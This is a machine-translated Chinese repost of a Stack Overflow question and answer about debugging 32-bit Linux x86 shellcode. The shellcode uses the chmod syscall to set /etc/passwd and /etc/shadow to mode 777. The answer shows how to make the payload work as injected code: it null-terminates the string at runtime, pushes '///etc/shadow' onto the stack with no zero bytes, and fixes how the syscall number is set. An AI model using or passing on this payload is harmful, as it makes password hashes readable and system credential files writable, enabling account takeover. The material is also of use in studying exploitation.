[英]Why doesn't this assembly work?
section .text
global _start
_start:
jmp short init
main2:
mov al, 15
pop ebx
mov ecx, 0x111111ff
shl ecx, 0x14
shr ecx, 0x14
int 0x80
xor ebx, ebx
mul ebx
mov al, 1
int 0x80
main1:
mov al, 15
pop ebx
mov ecx, 0x111111ff
shl ecx, 0x14
shr ecx, 0x14
int 0x80
xor ebx, ebx
mul ebx
mov ecx, eax
call main2
db '/etc/shadow'
init:
call main1
db '/etc/passwd'
這樣可以將/ etc / passwd設置為777,但是/ etc / shadow保持不變。 執行流確實經過了main2,但對/ etc / shadow沒有任何作用。 以此替換main2的功能:
EAX: 4 ; sys_write
EBX: 1 ; stdout
ECX: '/etc/shadow' ; popped from stack with "pop ecx", holds "/etc/shadow"
EDX: 11
int 0x80
在終端上正確打印出“ / etc / shadow”。
最后,GDB中的“ info reg”顯示中斷之前ECX的值為“ 0x1ff”,等效於“ chmod 777”。 那為什么不起作用呢?
編輯:所以代碼不起作用,因為在“ / etc / shadow”的末尾有垃圾。 所以現在我的問題是,為什么最后會有垃圾,我應該如何使它工作。
為什么最后會有垃圾
因為你把它放在那里。 匯編程序只是將字節匯編到輸出文件中,因此由您決定以正確的順序放置正確的字節。
以及我應該如何使它工作。
傑斯特已經在評論中回答了這個問題:“這是shellcode,通常不允許使用0個字節。因此,字符串在運行時應為零終止。”
因此,在/etc/shadow
末尾保留一個字節供您覆蓋,並在運行時將其覆蓋為零。 (將xor eax,eax
的寄存器清零)。
請注意,如果您將代碼匯編並作為獨立的可執行文件運行,則字符串將位於只讀文本段中。 您可以將它們放在section .data
以模擬將其注入另一個進程的堆棧時將發生的情況。 我忘記了在Linux進程中默認情況下哪些段是不可執行的。
解決此問題的另一種方法是將字符串推入堆棧。 由於您使用的是32位代碼,因此PUSH imm32應該會很有用。 PUSH imm8可以使您零填充,而指令中沒有零。
也許
push 'w' ; imm8 -> w 0 0 0
push 'hado' ; imm32 -> h a d o
push 'tc/s'
push '///e'
mov ebx, esp ; ebp = pointer to '///etc/shadow'
;lea ebx, [esp+2] ; skip the leading "//", just to show that this technique works even if you can't pad your string to fill whole chunks of 4B.
在64位代碼中, push imm32
保留4個字節的零(或1,因為imm32被符號擴展為64位)。 您可以用mov dword [rsp+4], imm32
或push word imm16
, push word imm16
推入2個字節。 (使堆棧未對齊。)x86-64機器代碼無法編碼32位操作數大小的推送。
您代碼中的其他錯誤:
mov al, 15
不會設置其余的eax。 它取決於高字節為零以獲得正確的系統調用號。
嘗試push 15
/ pop eax
。 請記住,編寫shellcode時執行速度並不重要,因此您可以使用討厭而緩慢的習慣用法。 某些有益於代碼高爾夫球 /代碼大小優化的事情在這里也同樣適用,因為通常會避免填充零字節,從而避免了填充。 我在codegolf.SE上有一些x86機器碼答案。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.